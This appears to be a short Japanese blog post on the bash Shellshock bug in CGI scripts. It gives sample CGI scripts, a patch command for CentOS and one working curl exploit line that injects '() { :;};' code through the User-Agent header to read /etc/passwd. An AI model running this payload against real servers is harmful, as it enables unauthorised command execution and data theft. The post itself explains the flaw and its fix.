bashの脆弱性

Webサーバでbashを使ってCGIを作成、もしくはWebサーバの起動ユーザのshellがbashの状態で、system関数を使うなどしていた場合、サニタイズしていてもすり抜けるバグがあるみたい。

例えばこんなCGI

#!/bin/bash

echo 'Content-type: text/plain'
echo
echo 'Hello world.'

こんなCGIでもダメらしい。ubuntuでは再現しませんでした(´艸`)

#!/usr/bin/perl

print "Content-type: text/plain\r\n\r\n";
system("echo 'Hello world'");

※perlのsystem関数に環境変数が引き継がれないので問題無いかも d(^-^)
※pythonの os.systemは、環境変数が引き継がれるので危ないみたいです。

そして、以下のようなおまじないを実行すると・・・

curl -F "NAME=VALUE" -F "NAME=VALUE" -A "() { :;}; echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://URL/hoge.cgi

※イタズラ厳禁ですからねっ!

修正方法

・CentOS

sudo yum update bash -y

ubuntu や solarisはまだパッケージでの更新はされていない様子です。